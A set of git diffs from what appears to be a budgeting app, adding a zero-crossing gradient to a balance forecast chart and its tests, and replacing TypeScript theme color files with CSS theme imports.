@@ -461,14 +494,13 @@ function BalanceForecastInner({ widget }: BalanceForecastInnerProps) {
}}
/>
)}
{hasNegativeBalance && (
<ReferenceLine y={0} stroke={theme.pageTextSubdued} />
)}
<Line
type="monotone"
dataKey="balance"
stroke={
hasNegativeBalance
? theme.errorText
: theme.noticeText
}
stroke="url(#balance-forecast-line-gradient)"
strokeWidth={2}
dot={false}
activeDot={{ r: 6 }}

View File

@@ -33,6 +33,7 @@ import { useFormat } from '#hooks/useFormat';
import {
buildBalanceForecastChartData,
countForecastScheduledOccurrences,
getZeroCrossingGradientOffset,
} from './balanceForecastChartData';
type BalanceForecastCardProps = {
@@ -123,6 +124,9 @@ export function BalanceForecastCard({
end: chartRange.end,
granularity: 'Monthly',
});
const hasNegativeBalance = chartData.some(d => d.balance < 0);
const zeroCrossingGradientOffset = getZeroCrossingGradientOffset(chartData);
const gradientId = `balance-forecast-card-line-gradient-${widgetId}`;
const isUpdatingForecast = isFetching && isPlaceholderData;
const todayReferenceDate = monthUtils.currentMonth();
const showsTodayReferenceLine = chartData.some(
@@ -234,6 +238,37 @@ export function BalanceForecastCard({
data={chartData}
margin={{ top: 5, right: 5, left: 5, bottom: 5 }}
>
<defs>
<linearGradient
id={gradientId}
x1="0"
y1="0"
x2="0"
y2="1"
>
{zeroCrossingGradientOffset == null ? (
<stop
offset="0%"
stopColor={
hasNegativeBalance
? theme.errorText
: theme.noticeText
}
/>
) : (
<>
<stop
offset={`${zeroCrossingGradientOffset}%`}
stopColor={theme.noticeText}
/>
<stop
offset={`${zeroCrossingGradientOffset}%`}
stopColor={theme.errorText}
/>
</>
)}
</linearGradient>
</defs>
<Tooltip
isAnimationActive={false}
content={({ active, payload }) => {
@@ -272,10 +307,13 @@ export function BalanceForecastCard({
strokeDasharray="4 4"
/>
)}
{hasNegativeBalance && (
<ReferenceLine y={0} stroke={theme.pageTextSubdued} />
)}
<Line
type="monotone"
dataKey="balance"
stroke={hasNegative ? theme.errorText : theme.noticeText}
stroke={`url(#${gradientId})`}
strokeWidth={2}
dot={false}
activeDot={{ r: 4 }}

View File

@@ -3,6 +3,7 @@ import { describe, expect, it } from 'vitest';
import {
buildBalanceForecastChartData,
countForecastScheduledOccurrences,
getZeroCrossingGradientOffset,
} from './balanceForecastChartData';
describe('buildBalanceForecastChartData', () => {
@@ -257,3 +258,23 @@ describe('countForecastScheduledOccurrences', () => {
expect(count).toBe(2);
});
});
describe('getZeroCrossingGradientOffset', () => {
it('returns the zero threshold offset when balances cross zero', () => {
expect(
getZeroCrossingGradientOffset([
{ date: '2024-03', balance: 100 },
{ date: '2024-04', balance: -100 },
]),
).toBe(50);
});
it('returns null when balances do not cross zero', () => {
expect(
getZeroCrossingGradientOffset([
{ date: '2024-03', balance: 100 },
{ date: '2024-04', balance: 50 },
]),
).toBeNull();
});
});

View File

@@ -128,3 +128,19 @@ export function countForecastScheduledOccurrences(
return occurrenceKeys.size;
}
export function getZeroCrossingGradientOffset(chartData: ChartDataPoint[]) {
if (chartData.length === 0) {
return null;
}
const balances = chartData.map(point => point.balance);
const minBalance = Math.min(...balances);
const maxBalance = Math.max(...balances);
if (minBalance >= 0 || maxBalance <= 0) {
return null;
}
return (maxBalance / (maxBalance - minBalance)) * 100;
}

View File

@@ -220,6 +220,7 @@ export function AmountInput({
onFocus={e => {
setIsFocused(true);
setValue(format.forEdit(Math.abs(initialValue ?? 0)));
setTimeout(() => innerRef.current?.select(), 0);
onFocus?.(e);
}}
onBlur={e => {

View File

@@ -1,96 +0,0 @@
// Only for use in contextual color definitions
export const gray50 = '#f6f8fa';
export const gray80 = '#f0f4f6';
export const gray100 = '#e8ecf0';
export const gray150 = '#d4dae0';
export const gray200 = '#bdc5cf';
export const gray300 = '#98a1ae';
export const gray400 = '#747c8b';
export const gray500 = '#4d5768';
export const gray600 = '#373b4a';
export const gray700 = '#242733';
export const gray800 = '#141520';
export const gray900 = '#080811';
export const navy50 = '#f7fafc';
export const navy100 = '#e8ecf0';
export const navy150 = '#d9e2ec';
export const navy200 = '#bcccdc';
export const navy300 = '#9fb3c8';
export const navy400 = '#829ab1';
export const navy500 = '#627d98';
export const navy600 = '#486581';
export const navy700 = '#334e68';
export const navy800 = '#243b53';
export const navy900 = '#102a43';
export const blue50 = '#f5fcff';
export const blue100 = '#e3f0ff';
export const blue150 = '#b3d9ff';
export const blue200 = '#8bcafd';
export const blue300 = '#66b5fa';
export const blue400 = '#40a5f7';
export const blue500 = '#2b8fed';
export const blue600 = '#1980d4';
export const blue700 = '#1271bf';
export const blue800 = '#0b5fa3';
export const blue900 = '#034388';
export const green50 = '#fafffd';
export const green100 = '#effcf6';
export const green150 = '#c6f7e2';
export const green200 = '#8eedc7';
export const green300 = '#65d6ad';
export const green400 = '#3ebd93';
export const green500 = '#27ab83';
export const green600 = '#199473';
export const green700 = '#147d64';
export const green800 = '#0c6b58';
export const green900 = '#014d40';
export const orange50 = '#fffefa';
export const orange100 = '#fffbea';
export const orange150 = '#fff7c4';
export const orange200 = '#fcf088';
export const orange300 = '#f5e35d';
export const orange400 = '#f2d047';
export const orange500 = '#e6bb20';
export const orange600 = '#d4a31c';
export const orange700 = '#b88115';
export const orange800 = '#87540d';
export const orange900 = '#733309';
export const red50 = '#fff1f1';
export const red100 = '#ffe3e3';
export const red150 = '#ffbdbd';
export const red200 = '#ff9b9b';
export const red300 = '#f86a6a';
export const red400 = '#ef4e4e';
export const red500 = '#e12d39';
export const red600 = '#cf1124';
export const red700 = '#ab091e';
export const red800 = '#8a041a';
export const red900 = '#610316';
export const purple50 = '#f9f6fe';
export const purple100 = '#f2ebfe';
export const purple125 = '#e4d4ff';
export const purple150 = '#dac4ff';
export const purple200 = '#b990ff';
export const purple300 = '#a368fc';
export const purple400 = '#9446ed';
export const purple500 = '#8719e0';
export const purple600 = '#7a0ecc';
export const purple700 = '#690cb0';
export const purple800 = '#580a94';
export const purple900 = '#44056e';
export const white = '#ffffff';
export const black = '#000000';
export const hover = '#fafafa';
export const border = '#e8ecf0';
export const selected = '#b3d9ff';
// Chart colors - Qualitative scale (9 colors)
export const chartQual1 = '#45B29D'; // Dark Teal
export const chartQual2 = '#EFC94C'; // Yellow
export const chartQual3 = '#E27A3F'; // Orange
export const chartQual4 = '#DF5A49'; // Light Red
export const chartQual5 = '#5F91B8'; // Blue
export const chartQual6 = '#E2A37F'; // Peach
export const chartQual7 = '#55DBC1'; // Light Teal
export const chartQual8 = '#EFDA97'; // Light Yellow
export const chartQual9 = '#DF948A'; // Light Red

View File

@@ -1,5 +1,9 @@
import { useEffect, useMemo, useState } from 'react';
import darkThemeCss from '@actual-app/components/themes/dark.css?inline';
import lightThemeCss from '@actual-app/components/themes/light.css?inline';
import midnightThemeCss from '@actual-app/components/themes/midnight.css?inline';
import paletteCss from '@actual-app/components/themes/palette.css?inline';
import type { DarkTheme, Theme } from '@actual-app/core/types/prefs';
import { useGlobalPref } from '#hooks/useGlobalPref';
@@ -10,15 +14,12 @@ import {
validateThemeCss,
} from './customThemes';
import type { BaseTheme } from './customThemes';
import * as darkTheme from './themes/dark';
import * as lightTheme from './themes/light';
import * as midnightTheme from './themes/midnight';
const themes = {
light: { name: 'Light', colors: lightTheme },
dark: { name: 'Dark', colors: darkTheme },
midnight: { name: 'Midnight', colors: midnightTheme },
auto: { name: 'System default', colors: darkTheme },
light: { name: 'Light', colors: lightThemeCss },
dark: { name: 'Dark', colors: darkThemeCss },
midnight: { name: 'Midnight', colors: midnightThemeCss },
auto: { name: 'System default', colors: darkThemeCss },
} as const;
type ThemeKey = keyof typeof themes;
@@ -100,9 +101,7 @@ export function ThemeStyle() {
const [installedCustomDarkThemeJson] = useGlobalPref(
'installedCustomDarkTheme',
);
const [themeColors, setThemeColors] = useState<
typeof lightTheme | typeof darkTheme | typeof midnightTheme | undefined
>(undefined);
const [themeColors, setThemeColors] = useState<string | undefined>(undefined);
useEffect(() => {
if (activeTheme === 'auto') {
@@ -166,10 +165,12 @@ export function ThemeStyle() {
if (!themeColors) return null;
const css = Object.entries(themeColors)
.map(([key, value]) => ` --color-${key}: ${value};`)
.join('\n');
return <style>{`:root {\n${css}}`}</style>;
return (
<>
<style>{paletteCss}</style>
<style>{themeColors}</style>
</>
);
}
/**

View File

@@ -1,249 +0,0 @@
import * as colorPalette from '#style/palette';
export const pageBackground = colorPalette.gray900;
export const pageBackgroundModalActive = colorPalette.gray800;
export const pageBackgroundTopLeft = colorPalette.navy800;
export const pageBackgroundBottomRight = colorPalette.gray700;
export const pageBackgroundLineTop = colorPalette.purple400;
export const pageBackgroundLineMid = colorPalette.navy900;
export const pageBackgroundLineBottom = colorPalette.navy150;
export const pageText = colorPalette.navy150;
export const pageTextLight = colorPalette.navy300;
export const pageTextSubdued = colorPalette.navy500;
export const pageTextDark = colorPalette.navy100;
export const pageTextPositive = colorPalette.purple200;
export const pageTextLink = colorPalette.purple400;
export const pageTextLinkLight = colorPalette.purple200;
export const cardBackground = colorPalette.gray800;
export const cardBorder = colorPalette.purple400;
export const cardShadow = colorPalette.navy700;
export const tableBackground = colorPalette.navy800;
export const tableRowBackgroundHover = colorPalette.navy700;
export const tableText = colorPalette.navy150;
export const tableTextLight = tableText;
export const tableTextSubdued = colorPalette.navy500;
export const tableTextSelected = colorPalette.navy150;
export const tableTextHover = colorPalette.navy400;
export const tableTextInactive = colorPalette.navy500;
export const tableHeaderText = colorPalette.navy300;
export const tableHeaderBackground = colorPalette.navy700;
export const tableBorder = colorPalette.navy600;
export const tableBorderSelected = colorPalette.purple400;
export const tableBorderHover = colorPalette.purple300;
export const tableBorderSeparator = colorPalette.navy400;
export const tableRowBackgroundHighlight = colorPalette.purple800;
export const tableRowBackgroundHighlightText = colorPalette.navy150;
export const tableRowHeaderBackground = colorPalette.navy700;
export const tableRowHeaderText = colorPalette.navy150;
export const numberPositive = colorPalette.green300;
export const numberNegative = colorPalette.red200;
export const numberNeutral = colorPalette.navy500;
export const budgetNumberNegative = numberNegative;
export const budgetNumberZero = tableTextSubdued;
export const budgetNumberNeutral = tableText;
export const budgetNumberPositive = budgetNumberNeutral;
export const templateNumberFunded = numberPositive;
export const templateNumberUnderFunded = colorPalette.orange300;
export const toBudgetPositive = numberPositive;
export const toBudgetZero = numberPositive;
export const toBudgetNegative = budgetNumberNegative;
export const sidebarBackground = colorPalette.navy900;
export const sidebarItemBackgroundPending = colorPalette.orange200;
export const sidebarItemBackgroundPositive = colorPalette.green500;
export const sidebarItemBackgroundFailed = colorPalette.red300;
export const sidebarItemAccentSelected = colorPalette.purple200;
export const sidebarItemBackgroundHover = colorPalette.navy700;
export const sidebarItemText = colorPalette.navy150;
export const sidebarItemTextSelected = colorPalette.purple200;
export const sidebarBudgetName = colorPalette.navy300;
export const menuBackground = colorPalette.navy800;
export const menuItemBackground = colorPalette.navy800;
export const menuItemBackgroundHover = colorPalette.navy500;
export const menuItemText = colorPalette.navy100;
export const menuItemTextHover = colorPalette.navy50;
export const menuItemTextSelected = colorPalette.purple400;
export const menuItemTextHeader = colorPalette.purple200;
export const menuBorder = colorPalette.navy900;
export const menuBorderHover = colorPalette.purple400;
export const menuKeybindingText = colorPalette.purple200;
export const menuAutoCompleteBackground = colorPalette.navy900;
export const menuAutoCompleteBackgroundHover = colorPalette.navy600;
export const menuAutoCompleteText = colorPalette.navy200;
export const menuAutoCompleteTextHeader = colorPalette.purple200;
export const menuAutoCompleteItemText = menuItemText;
export const modalBackground = colorPalette.gray800;
export const modalBorder = colorPalette.navy600;
export const mobileHeaderBackground = colorPalette.purple800;
export const mobileHeaderText = colorPalette.navy150;
export const mobileHeaderTextSubdued = colorPalette.gray200;
export const mobileHeaderTextHover = 'rgba(200, 200, 200, .15)';
export const mobilePageBackground = colorPalette.navy700;
export const mobileNavBackground = colorPalette.navy800;
export const mobileNavItem = colorPalette.navy150;
export const mobileNavItemSelected = colorPalette.purple400;
export const mobileAccountShadow = cardShadow;
export const mobileAccountText = colorPalette.blue800;
export const mobileTransactionSelected = colorPalette.purple400;
// Mobile view themes (for the top bar)
export const mobileViewTheme = mobileHeaderBackground;
export const mobileConfigServerViewTheme = colorPalette.purple500;
export const markdownNormal = colorPalette.purple700;
export const markdownDark = colorPalette.purple500;
export const markdownLight = colorPalette.purple800;
// Button
export const buttonMenuText = colorPalette.navy200;
export const buttonMenuTextHover = buttonMenuText;
export const buttonMenuBackground = 'transparent';
export const buttonMenuBackgroundHover = 'rgba(200, 200, 200, .25)';
export const buttonMenuBorder = colorPalette.navy500;
export const buttonMenuSelectedText = colorPalette.green800;
export const buttonMenuSelectedTextHover = colorPalette.orange800;
export const buttonMenuSelectedBackground = colorPalette.orange200;
export const buttonMenuSelectedBackgroundHover = colorPalette.orange300;
export const buttonMenuSelectedBorder = buttonMenuSelectedBackground;
export const buttonPrimaryText = colorPalette.white;
export const buttonPrimaryTextHover = buttonPrimaryText;
export const buttonPrimaryBackground = colorPalette.purple400;
export const buttonPrimaryBackgroundHover = colorPalette.purple600;
export const buttonPrimaryBorder = buttonPrimaryBackground;
export const buttonPrimaryShadow = 'rgba(0, 0, 0, 0.6)';
export const buttonPrimaryDisabledText = colorPalette.navy700;
export const buttonPrimaryDisabledBackground = colorPalette.navy400;
export const buttonPrimaryDisabledBorder = buttonPrimaryDisabledBackground;
export const buttonNormalText = colorPalette.navy150;
export const buttonNormalTextHover = colorPalette.navy150;
export const buttonNormalBackground = colorPalette.navy800;
export const buttonNormalBackgroundHover = colorPalette.navy600;
export const buttonNormalBorder = colorPalette.navy300;
export const buttonNormalShadow = 'rgba(0, 0, 0, 0.4)';
export const buttonNormalSelectedText = colorPalette.white;
export const buttonNormalSelectedBackground = colorPalette.purple600;
export const buttonNormalDisabledText = colorPalette.navy500;
export const buttonNormalDisabledBackground = colorPalette.navy800;
export const buttonNormalDisabledBorder = colorPalette.navy500;
export const calendarText = colorPalette.navy50;
export const calendarBackground = colorPalette.navy900;
export const calendarItemText = colorPalette.navy150;
export const calendarItemBackground = colorPalette.navy800;
export const calendarSelectedBackground = buttonNormalSelectedBackground;
export const buttonBareText = buttonNormalText;
export const buttonBareTextHover = buttonNormalText;
export const buttonBareBackground = 'transparent';
export const buttonBareBackgroundHover = 'rgba(200, 200, 200, .3)';
export const buttonBareBackgroundActive = 'rgba(200, 200, 200, .5)';
export const buttonBareDisabledText = buttonNormalDisabledText;
export const buttonBareDisabledBackground = buttonBareBackground;
export const noticeBackground = colorPalette.green800;
export const noticeBackgroundLight = colorPalette.green900;
export const noticeBackgroundDark = colorPalette.green500;
export const noticeText = colorPalette.green300;
export const noticeTextLight = colorPalette.green500;
export const noticeTextDark = colorPalette.green150;
export const noticeTextMenu = colorPalette.green500;
export const noticeBorder = colorPalette.green800;
export const warningBackground = colorPalette.orange800;
export const warningText = colorPalette.orange300;
export const warningTextLight = colorPalette.orange500;
export const warningTextDark = colorPalette.orange100;
export const warningBorder = colorPalette.orange500;
export const errorBackground = colorPalette.red800;
export const errorText = colorPalette.red200;
export const errorTextDark = colorPalette.red150;
export const errorTextDarker = errorTextDark;
export const errorTextMenu = colorPalette.red200;
export const errorBorder = colorPalette.red500;
export const upcomingBackground = colorPalette.purple700;
export const upcomingText = colorPalette.purple100;
export const upcomingBorder = tableBorder;
export const formLabelText = colorPalette.purple150;
export const formLabelBackground = colorPalette.blue900;
export const formInputBackground = colorPalette.navy800;
export const formInputBackgroundSelected = colorPalette.navy700;
export const formInputBackgroundSelection = colorPalette.purple400;
export const formInputBorder = colorPalette.navy600;
export const formInputTextReadOnlySelection = colorPalette.navy800;
export const formInputBorderSelected = colorPalette.purple400;
export const formInputText = colorPalette.navy150;
export const formInputTextSelected = colorPalette.black;
export const formInputTextPlaceholder = colorPalette.navy150;
export const formInputTextPlaceholderSelected = colorPalette.navy100;
export const formInputTextSelection = colorPalette.navy800;
export const formInputShadowSelected = colorPalette.purple200;
export const formInputTextHighlight = colorPalette.purple400;
export const checkboxText = tableText;
export const checkboxBackgroundSelected = colorPalette.purple300;
export const checkboxBorderSelected = colorPalette.purple300;
export const checkboxShadowSelected = colorPalette.purple500;
export const checkboxToggleBackground = colorPalette.gray700;
export const checkboxToggleBackgroundSelected = colorPalette.purple300;
export const checkboxToggleDisabled = colorPalette.gray400;
export const pillBackground = colorPalette.navy800;
export const pillBackgroundLight = colorPalette.navy900;
export const pillText = colorPalette.navy200;
export const pillTextHighlighted = colorPalette.purple200;
export const pillBorder = colorPalette.navy700;
export const pillBorderDark = pillBorder;
export const pillBackgroundSelected = colorPalette.purple600;
export const pillTextSelected = colorPalette.navy150;
export const pillBorderSelected = colorPalette.purple400;
export const pillTextSubdued = colorPalette.navy500;
export const reportsRed = colorPalette.red300;
export const reportsBlue = colorPalette.blue400;
export const reportsGreen = colorPalette.green400;
export const reportsGray = colorPalette.gray400;
export const reportsLabel = pageText;
export const reportsInnerLabel = colorPalette.navy800;
export const reportsNumberPositive = numberPositive;
export const reportsNumberNegative = numberNegative;
export const reportsNumberNeutral = numberNeutral;
export const reportsChartFill = reportsNumberPositive;
export const noteTagBackground = colorPalette.purple700;
export const noteTagBackgroundHover = colorPalette.purple500;
export const noteTagDefault = colorPalette.purple700;
export const noteTagText = colorPalette.purple100;
export const budgetOtherMonth = colorPalette.navy900;
export const budgetCurrentMonth = tableBackground;
export const budgetHeaderOtherMonth = colorPalette.navy800;
export const budgetHeaderCurrentMonth = tableHeaderBackground;
export const floatingActionBarBackground = colorPalette.purple800;
export const floatingActionBarBorder = floatingActionBarBackground;
export const floatingActionBarText = colorPalette.navy150;
export const tooltipText = colorPalette.navy100;
export const tooltipBackground = colorPalette.navy800;
export const tooltipBorder = colorPalette.navy700;
export const calendarCellBackground = colorPalette.navy900;
export const overlayBackground = 'rgba(0, 0, 0, 0.3)';
// Chart colors - Qualitative scale (9 colors)
export const chartQual1 = colorPalette.chartQual1;
export const chartQual2 = colorPalette.chartQual2;
export const chartQual3 = colorPalette.chartQual3;
export const chartQual4 = colorPalette.chartQual4;
export const chartQual5 = colorPalette.chartQual5;
export const chartQual6 = colorPalette.chartQual6;
export const chartQual7 = colorPalette.chartQual7;
export const chartQual8 = colorPalette.chartQual8;
export const chartQual9 = colorPalette.chartQual9;

View File

@@ -1,251 +0,0 @@
import * as colorPalette from '#style/palette';
export const pageBackground = colorPalette.navy100;
export const pageBackgroundModalActive = colorPalette.navy200;
export const pageBackgroundTopLeft = colorPalette.navy100;
export const pageBackgroundBottomRight = colorPalette.blue150;
export const pageBackgroundLineTop = colorPalette.white;
export const pageBackgroundLineMid = colorPalette.navy100;
export const pageBackgroundLineBottom = colorPalette.blue150;
export const pageText = '#272630';
export const pageTextLight = colorPalette.navy500;
export const pageTextSubdued = colorPalette.navy300;
export const pageTextDark = colorPalette.navy800;
export const pageTextPositive = colorPalette.purple600;
export const pageTextLink = colorPalette.blue600;
export const pageTextLinkLight = colorPalette.blue300;
export const cardBackground = colorPalette.white;
export const cardBorder = colorPalette.purple700;
export const cardShadow = colorPalette.navy700;
export const tableBackground = colorPalette.white;
export const tableRowBackgroundHover = colorPalette.navy50;
export const tableText = pageText;
export const tableTextLight = colorPalette.navy400;
export const tableTextSubdued = colorPalette.navy100;
export const tableTextSelected = colorPalette.navy700;
export const tableTextHover = colorPalette.navy900;
export const tableTextInactive = colorPalette.navy500;
export const tableHeaderText = colorPalette.navy600;
export const tableHeaderBackground = colorPalette.white;
export const tableBorder = colorPalette.navy100;
export const tableBorderSelected = colorPalette.purple500;
export const tableBorderHover = colorPalette.purple400;
export const tableBorderSeparator = colorPalette.navy400;
export const tableRowBackgroundHighlight = colorPalette.blue150;
export const tableRowBackgroundHighlightText = colorPalette.navy700;
export const tableRowHeaderBackground = colorPalette.navy50;
export const tableRowHeaderText = colorPalette.navy800;
export const numberPositive = colorPalette.green700;
export const numberNegative = colorPalette.red500;
export const numberNeutral = colorPalette.navy100;
export const budgetNumberNegative = numberNegative;
export const budgetNumberZero = tableTextSubdued;
export const budgetNumberNeutral = tableText;
export const budgetNumberPositive = budgetNumberNeutral;
export const templateNumberFunded = numberPositive;
export const templateNumberUnderFunded = colorPalette.orange700;
export const toBudgetPositive = numberPositive;
export const toBudgetZero = numberPositive;
export const toBudgetNegative = budgetNumberNegative;
export const sidebarBackground = colorPalette.navy900;
export const sidebarItemBackgroundPending = colorPalette.orange200;
export const sidebarItemBackgroundPositive = colorPalette.green500;
export const sidebarItemBackgroundFailed = colorPalette.red300;
export const sidebarItemBackgroundHover = colorPalette.navy800;
export const sidebarItemAccentSelected = colorPalette.purple200;
export const sidebarItemText = colorPalette.navy150;
export const sidebarItemTextSelected = colorPalette.purple200;
export const sidebarBudgetName = colorPalette.navy150;
export const menuBackground = colorPalette.white;
export const menuItemBackground = colorPalette.navy50;
export const menuItemBackgroundHover = colorPalette.navy100;
export const menuItemText = colorPalette.navy900;
export const menuItemTextHover = menuItemText;
export const menuItemTextSelected = colorPalette.purple300;
export const menuItemTextHeader = colorPalette.navy400;
export const menuBorder = colorPalette.navy100;
export const menuBorderHover = colorPalette.purple100;
export const menuKeybindingText = colorPalette.navy400;
export const menuAutoCompleteBackground = colorPalette.navy900;
export const menuAutoCompleteBackgroundHover = colorPalette.navy600;
export const menuAutoCompleteText = colorPalette.white;
export const menuAutoCompleteTextHover = colorPalette.green150;
export const menuAutoCompleteTextHeader = colorPalette.orange150;
export const menuAutoCompleteItemTextHover = menuAutoCompleteText;
export const menuAutoCompleteItemText = menuAutoCompleteText;
export const modalBackground = colorPalette.white;
export const modalBorder = colorPalette.white;
export const mobileHeaderBackground = colorPalette.purple400;
export const mobileHeaderText = colorPalette.navy50;
export const mobileHeaderTextSubdued = colorPalette.gray200;
export const mobileHeaderTextHover = 'rgba(200, 200, 200, .15)';
export const mobilePageBackground = colorPalette.navy50;
export const mobileNavBackground = colorPalette.white;
export const mobileNavItem = colorPalette.gray300;
export const mobileNavItemSelected = colorPalette.purple500;
export const mobileAccountShadow = colorPalette.navy300;
export const mobileAccountText = colorPalette.blue800;
export const mobileTransactionSelected = colorPalette.purple500;
// Mobile view themes (for the top bar)
export const mobileViewTheme = mobileHeaderBackground;
export const mobileConfigServerViewTheme = colorPalette.purple500;
export const markdownNormal = colorPalette.purple150;
export const markdownDark = colorPalette.purple400;
export const markdownLight = colorPalette.purple100;
// Button
export const buttonMenuText = colorPalette.navy100;
export const buttonMenuTextHover = colorPalette.navy50;
export const buttonMenuBackground = 'transparent';
export const buttonMenuBackgroundHover = 'rgba(200, 200, 200, .25)';
export const buttonMenuBorder = colorPalette.navy500;
export const buttonMenuSelectedText = colorPalette.green800;
export const buttonMenuSelectedTextHover = colorPalette.orange800;
export const buttonMenuSelectedBackground = colorPalette.orange200;
export const buttonMenuSelectedBackgroundHover = colorPalette.orange300;
export const buttonMenuSelectedBorder = buttonMenuSelectedBackground;
export const buttonPrimaryText = colorPalette.white;
export const buttonPrimaryTextHover = buttonPrimaryText;
export const buttonPrimaryBackground = colorPalette.purple500;
export const buttonPrimaryBackgroundHover = colorPalette.purple300;
export const buttonPrimaryBorder = buttonPrimaryBackground;
export const buttonPrimaryShadow = 'rgba(0, 0, 0, 0.3)';
export const buttonPrimaryDisabledText = colorPalette.white;
export const buttonPrimaryDisabledBackground = colorPalette.navy300;
export const buttonPrimaryDisabledBorder = buttonPrimaryDisabledBackground;
export const buttonNormalText = colorPalette.navy900;
export const buttonNormalTextHover = buttonNormalText;
export const buttonNormalBackground = colorPalette.white;
export const buttonNormalBackgroundHover = buttonNormalBackground;
export const buttonNormalBorder = colorPalette.navy150;
export const buttonNormalShadow = 'rgba(0, 0, 0, 0.2)';
export const buttonNormalSelectedText = colorPalette.white;
export const buttonNormalSelectedBackground = colorPalette.blue600;
export const buttonNormalDisabledText = colorPalette.navy300;
export const buttonNormalDisabledBackground = buttonNormalBackground;
export const buttonNormalDisabledBorder = buttonNormalBorder;
export const calendarText = colorPalette.navy50;
export const calendarBackground = colorPalette.navy900;
export const calendarItemText = colorPalette.navy150;
export const calendarItemBackground = colorPalette.navy800;
export const calendarSelectedBackground = colorPalette.navy500;
export const buttonBareText = buttonNormalText;
export const buttonBareTextHover = buttonNormalText;
export const buttonBareBackground = 'transparent';
export const buttonBareBackgroundHover = 'rgba(100, 100, 100, .15)';
export const buttonBareBackgroundActive = 'rgba(100, 100, 100, .25)';
export const buttonBareDisabledText = buttonNormalDisabledText;
export const buttonBareDisabledBackground = buttonBareBackground;
export const noticeBackground = colorPalette.green150;
export const noticeBackgroundLight = colorPalette.green100;
export const noticeBackgroundDark = colorPalette.green500;
export const noticeText = colorPalette.green700;
export const noticeTextLight = colorPalette.green500;
export const noticeTextDark = colorPalette.green900;
export const noticeTextMenu = colorPalette.green200;
export const noticeBorder = colorPalette.green500;
export const warningBackground = colorPalette.orange200;
export const warningText = colorPalette.orange700;
export const warningTextLight = colorPalette.orange500;
export const warningTextDark = colorPalette.orange900;
export const warningBorder = colorPalette.orange500;
export const errorBackground = colorPalette.red100;
export const errorText = colorPalette.red500;
export const errorTextDark = colorPalette.red700;
export const errorTextDarker = colorPalette.red900;
export const errorTextMenu = colorPalette.red200;
export const errorBorder = colorPalette.red500;
export const upcomingBackground = colorPalette.purple100;
export const upcomingText = colorPalette.purple700;
export const upcomingBorder = colorPalette.purple500;
export const formLabelText = colorPalette.blue600;
export const formLabelBackground = colorPalette.blue200;
export const formInputBackground = colorPalette.navy50;
export const formInputBackgroundSelected = colorPalette.white;
export const formInputBackgroundSelection = colorPalette.purple500;
export const formInputBorder = colorPalette.navy150;
export const formInputTextReadOnlySelection = colorPalette.navy50;
export const formInputBorderSelected = colorPalette.purple500;
export const formInputText = colorPalette.navy900;
export const formInputTextSelected = colorPalette.navy50;
export const formInputTextPlaceholder = colorPalette.navy300;
export const formInputTextPlaceholderSelected = colorPalette.navy200;
export const formInputTextSelection = colorPalette.navy100;
export const formInputShadowSelected = colorPalette.purple300;
export const formInputTextHighlight = colorPalette.purple200;
export const checkboxText = tableBackground;
export const checkboxBackgroundSelected = colorPalette.blue500;
export const checkboxBorderSelected = colorPalette.blue500;
export const checkboxShadowSelected = colorPalette.blue300;
export const checkboxToggleBackground = colorPalette.gray400;
export const checkboxToggleBackgroundSelected = colorPalette.purple600;
export const checkboxToggleDisabled = colorPalette.gray200;
export const pillBackground = colorPalette.navy150;
export const pillBackgroundLight = colorPalette.navy50;
export const pillText = colorPalette.navy800;
export const pillTextHighlighted = colorPalette.purple600;
export const pillBorder = colorPalette.navy150;
export const pillBorderDark = colorPalette.navy300;
export const pillBackgroundSelected = colorPalette.blue150;
export const pillTextSelected = colorPalette.blue900;
export const pillBorderSelected = colorPalette.purple500;
export const pillTextSubdued = colorPalette.navy200;
export const reportsRed = colorPalette.red300;
export const reportsBlue = colorPalette.blue400;
export const reportsGreen = colorPalette.green400;
export const reportsGray = colorPalette.gray400;
export const reportsLabel = colorPalette.navy900;
export const reportsInnerLabel = colorPalette.navy800;
export const reportsNumberPositive = numberPositive;
export const reportsNumberNegative = numberNegative;
export const reportsNumberNeutral = numberNeutral;
export const reportsChartFill = reportsNumberPositive;
export const noteTagBackground = colorPalette.purple125;
export const noteTagBackgroundHover = colorPalette.purple150;
export const noteTagDefault = colorPalette.purple125;
export const noteTagText = colorPalette.black;
export const budgetCurrentMonth = tableBackground;
export const budgetOtherMonth = colorPalette.gray50;
export const budgetHeaderCurrentMonth = budgetOtherMonth;
export const budgetHeaderOtherMonth = colorPalette.gray80;
export const floatingActionBarBackground = colorPalette.purple400;
export const floatingActionBarBorder = floatingActionBarBackground;
export const floatingActionBarText = colorPalette.navy50;
export const tooltipText = colorPalette.navy900;
export const tooltipBackground = colorPalette.white;
export const tooltipBorder = colorPalette.navy150;
export const calendarCellBackground = colorPalette.navy100;
export const overlayBackground = 'rgba(0, 0, 0, 0.3)';
// Chart colors - Qualitative scale (9 colors)
export const chartQual1 = colorPalette.chartQual1;
export const chartQual2 = colorPalette.chartQual2;
export const chartQual3 = colorPalette.chartQual3;
export const chartQual4 = colorPalette.chartQual4;
export const chartQual5 = colorPalette.chartQual5;
export const chartQual6 = colorPalette.chartQual6;
export const chartQual7 = colorPalette.chartQual7;
export const chartQual8 = colorPalette.chartQual8;
export const chartQual9 = colorPalette.chartQual9;

View File

@@ -1,251 +0,0 @@
import * as colorPalette from '#style/palette';
export const pageBackground = colorPalette.gray600;
export const pageBackgroundModalActive = colorPalette.gray700;
export const pageBackgroundTopLeft = colorPalette.gray800;
export const pageBackgroundBottomRight = colorPalette.gray700;
export const pageBackgroundLineTop = colorPalette.purple300;
export const pageBackgroundLineMid = colorPalette.gray900;
export const pageBackgroundLineBottom = colorPalette.gray150;
export const pageText = colorPalette.gray100;
export const pageTextLight = colorPalette.gray200;
export const pageTextSubdued = colorPalette.gray400;
export const pageTextDark = colorPalette.gray100;
export const pageTextPositive = colorPalette.purple200;
export const pageTextLink = colorPalette.purple300;
export const pageTextLinkLight = colorPalette.purple300;
export const cardBackground = colorPalette.gray800;
export const cardBorder = colorPalette.purple300;
export const cardShadow = colorPalette.gray900;
export const tableBackground = colorPalette.gray800;
export const tableRowBackgroundHover = colorPalette.gray500;
export const tableText = colorPalette.gray150;
export const tableTextLight = tableText;
export const tableTextSubdued = colorPalette.gray500;
export const tableTextSelected = colorPalette.gray800;
export const tableTextHover = colorPalette.gray400;
export const tableTextInactive = colorPalette.gray400;
export const tableHeaderText = colorPalette.gray200;
export const tableHeaderBackground = colorPalette.gray900;
export const tableBorder = colorPalette.gray600;
export const tableBorderSelected = colorPalette.purple400;
export const tableBorderHover = colorPalette.purple300;
export const tableBorderSeparator = colorPalette.gray400;
export const tableRowBackgroundHighlight = colorPalette.purple150;
